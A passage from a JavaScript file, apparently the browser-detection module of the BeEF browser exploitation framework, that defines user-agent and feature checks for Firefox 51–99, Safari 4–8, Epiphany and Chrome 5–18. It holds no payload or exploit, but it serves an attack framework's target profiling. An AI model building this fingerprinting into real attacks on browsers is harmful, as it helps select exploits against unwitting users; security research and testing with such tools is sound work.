     * @example: beef.browser.isFF51()
     */
    isFF51: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
    },

    /**
     * Returns true if FF52
     * @example: beef.browser.isFF52()
     */
    isFF52: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
    },

    /**
     * Returns true if FF53
     * @example: beef.browser.isFF53()
     */
    isFF53: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
    },

    /**
     * Returns true if FF54
     * @example: beef.browser.isFF54()
     */
    isFF54: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
    },

    /**
     * Returns true if FF55
     * @example: beef.browser.isFF55()
     */
    isFF55: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
    },

    /**
     * Returns true if FF56
     * @example: beef.browser.isFF56()
     */
    isFF56: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
    },

    /**
     * Returns true if FF57
     * @example: beef.browser.isFF57()
     */
    isFF57: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
    },
    
    /**
     * Returns true if FF58
     * @example: beef.browser.isFF58()
     */
    isFF58: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
    },

    /**
     * Returns true if FF59
     * @example: beef.browser.isFF59()
     */
    isFF59: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/59./) != null;
    },

    /**
     * Returns true if FF60
     * @example: beef.browser.isFF60()
     */
    isFF60: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/60./) != null;
    },

    /**
     * Returns true if FF61
     * @example: beef.browser.isFF61()
     */
    isFF61: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/61./) != null;
    },

    /**
     * Returns true if FF62
     * @example: beef.browser.isFF62()
     */
    isFF62: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/62./) != null;
    },

    /**
     * Returns true if FF63
     * @example: beef.browser.isFF63()
     */
    isFF63: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/63./) != null;
    },

    /**
     * Returns true if FF64
     * @example: beef.browser.isFF64()
     */
    isFF64: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/64./) != null;
    },

    /**
     * Returns true if FF65
     * @example: beef.browser.isFF65()
     */
    isFF65: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/65./) != null;
    },

    /**
     * Returns true if FF66
     * @example: beef.browser.isFF66()
     */
    isFF66: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/66./) != null;
    },

    /**
     * Returns true if FF67
     * @example: beef.browser.isFF67()
     */
    isFF67: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/67./) != null;
    },

    /**
     * Returns true if FF68
     * @example: beef.browser.isFF68()
     */
    isFF68: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/68./) != null;
    },

    /**
     * Returns true if FF69
     * @example: beef.browser.isFF69()
     */
    isFF69: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/69./) != null;
    },

    /**
     * Returns true if FF70
     * @example: beef.browser.isFF70()
     */
    isFF70: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/70./) != null;
    },

    /**
     * Returns true if FF71
     * @example: beef.browser.isFF71()
     */
    isFF71: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/71./) != null;
    },

    /**
     * Returns true if FF72
     * @example: beef.browser.isFF72()
     */
    isFF72: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/72./) != null;
    },

    /**
     * Returns true if FF73
     * @example: beef.browser.isFF73()
     */
    isFF73: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/73./) != null;
    },

    /**
     * Returns true if FF74
     * @example: beef.browser.isFF74()
     */
    isFF74: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/74./) != null;
    },

    /**
     * Returns true if FF75
     * @example: beef.browser.isFF75()
     */
    isFF75: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/75./) != null;
    },

    /**
     * Returns true if FF76
     * @example: beef.browser.isFF76()
     */
    isFF76: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/76./) != null;
    },

    /**
     * Returns true if FF77
     * @example: beef.browser.isFF77()
     */
    isFF77: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/77./) != null;
    },

    /**
     * Returns true if FF78
     * @example: beef.browser.isFF78()
     */
    isFF78: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/78./) != null;
    },

    /**
     * Returns true if FF79
     * @example: beef.browser.isFF79()
     */
    isFF79: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/79./) != null;
    },

    /**
     * Returns true if FF80
     * @example: beef.browser.isFF80()
     */
    isFF80: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/80./) != null;
    },

    /**
     * Returns true if FF81
     * @example: beef.browser.isFF81()
     */
    isFF81: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/81./) != null;
    },

    /**
     * Returns true if FF82
     * @example: beef.browser.isFF82()
     */
    isFF82: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/82./) != null;
    },

    /**
     * Returns true if FF83
     * @example: beef.browser.isFF83()
     */
    isFF83: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/83./) != null;
    },

    /**
     * Returns true if FF84
     * @example: beef.browser.isFF84()
     */
    isFF84: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/84./) != null;
    },

    /**
     * Returns true if FF85
     * @example: beef.browser.isFF85()
     */
    isFF85: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/85./) != null;
    },

    /**
     * Returns true if FF86
     * @example: beef.browser.isFF86()
     */
    isFF86: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/86./) != null;
    },

    /**
     * Returns true if FF87
     * @example: beef.browser.isFF87()
     */
    isFF87: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/87./) != null;
    },

    /**
     * Returns true if FF88
     * @example: beef.browser.isFF88()
     */
    isFF88: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/88./) != null;
    },

    /**
     * Returns true if FF89
     * @example: beef.browser.isFF89()
     */
    isFF89: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
    },

    /**
     * Returns true if FF90
     * @example: beef.browser.isFF90()
     */
    isFF90: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
    },

    /**
     * Returns true if FF91
     * @example: beef.browser.isFF91()
     */
    isFF91: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
    },

    /**
     * Returns true if FF92
     * @example: beef.browser.isFF92()
     */
    isFF92: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
    },

    /**
     * Returns true if FF93
     * @example: beef.browser.isFF93()
     */
    isFF93: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
    },

    /**
     * Returns true if FF94
     * @example: beef.browser.isFF94()
     */
    isFF94: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
    },

    /**
     * Returns true if FF95
     * @example: beef.browser.isFF95()
     */
    isFF95: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
    },

    /**
     * Returns true if FF96
     * @example: beef.browser.isFF96()
     */
    isFF96: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
    },

    /**
     * Returns true if FF97
     * @example: beef.browser.isFF97()
     */
    isFF97: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
    },

    /**
     * Returns true if FF98
     * @example: beef.browser.isFF98()
     */
    isFF98: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
    },

    /**
     * Returns true if FF99
     * @example: beef.browser.isFF99()
     */
    isFF99: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
    }, 

    /**
     * Returns true if the browser is any version of Firefox.
     * @example: beef.browser.isFFbowser()
    */
    isFFbowser: function () {
        const parser = bowser.getParser(navigator.userAgent);
        const browserName = parser.getBrowserName();
        return browserName == 'Firefox';
    },

    /**
     * Returns true if the browser is any version of Firefox.
     * @example: beef.browser.isFF()
     */
    isFF: function () {
        var legacyCheck = this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99();
        return legacyCheck || this.isFFbowser();
    },

    /**
     * Returns true if Safari 4.xx
     * @example: beef.browser.isS4()
     */
    isS4: function () {
        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
    },

    /**
     * Returns true if Safari 5.xx
     * @example: beef.browser.isS5()
     */
    isS5: function () {
        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
    },

    /**
     * Returns true if Safari 6.xx
     * @example: beef.browser.isS6()
     */
    isS6: function () {
        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
    },

    /**
     * Returns true if Safari 7.xx
     * @example: beef.browser.isS7()
     */
    isS7: function () {
        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
    },

    /**
     * Returns true if Safari 8.xx
     * @example: beef.browser.isS8()
     */
    isS8: function () {
        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
    },

    /**
     * Returns true if Safari.
     * @example: beef.browser.isS()
     */
    isS: function () {
        return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
    },

    /**
     * Returns true if Webkit based
     */


    isWebKitBased: function () {
        /*
        * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
        */
        return (!window.opera && !window.chrome
                && window.navigator.userAgent.match(/ Version\/\d/) != null
                && !window.globalStorage
                && !!window.getComputedStyle
                && !("MozWebSocket" in window));
    },

    /**
     * Return true if Epiphany
     * @example: beef.browser.isEpi()
     */
    isEpi: function () {
        // Epiphany is based on webkit
        // due to the uncertainty of webkit version vs Epiphany versions tracking.
        // -- do webkit based checking (i.e. do safari checks)
        return this.isWebKitBased() &&  window.navigator.userAgent.match(/Epiphany\//) != null;
    },


    /**
     * Returns true if Chrome 5.
     * @example: beef.browser.isC5()
     */
    isC5: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
    },

    /**
     * Returns true if Chrome 6.
     * @example: beef.browser.isC6()
     */
    isC6: function () {
        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
    },

    /**
     * Returns true if Chrome 7.
     * @example: beef.browser.isC7()
     */
    isC7: function () {
        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
    },

    /**
     * Returns true if Chrome 8.
     * @example: beef.browser.isC8()
     */
    isC8: function () {
        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
    },

    /**
     * Returns true if Chrome 9.
     * @example: beef.browser.isC9()
     */
    isC9: function () {
        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
    },

    /**
     * Returns true if Chrome 10.
     * @example: beef.browser.isC10()
     */
    isC10: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
    },

    /**
     * Returns true if Chrome 11.
     * @example: beef.browser.isC11()
     */
    isC11: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
    },

    /**
     * Returns true if Chrome 12.
     * @example: beef.browser.isC12()
     */
    isC12: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
    },

    /**
     * Returns true if Chrome 13.
     * @example: beef.browser.isC13()
     */
    isC13: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
    },

    /**
     * Returns true if Chrome 14.
     * @example: beef.browser.isC14()
     */
    isC14: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
    },

    /**
     * Returns true if Chrome 15.
     * @example: beef.browser.isC15()
     */
    isC15: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
    },

    /**
     * Returns true if Chrome 16.
     * @example: beef.browser.isC16()
     */
    isC16: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
    },

    /**
     * Returns true if Chrome 17.
     * @example: beef.browser.isC17()
     */
    isC17: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
    },

    /**
     * Returns true if Chrome 18.
     * @example: beef.browser.isC18()
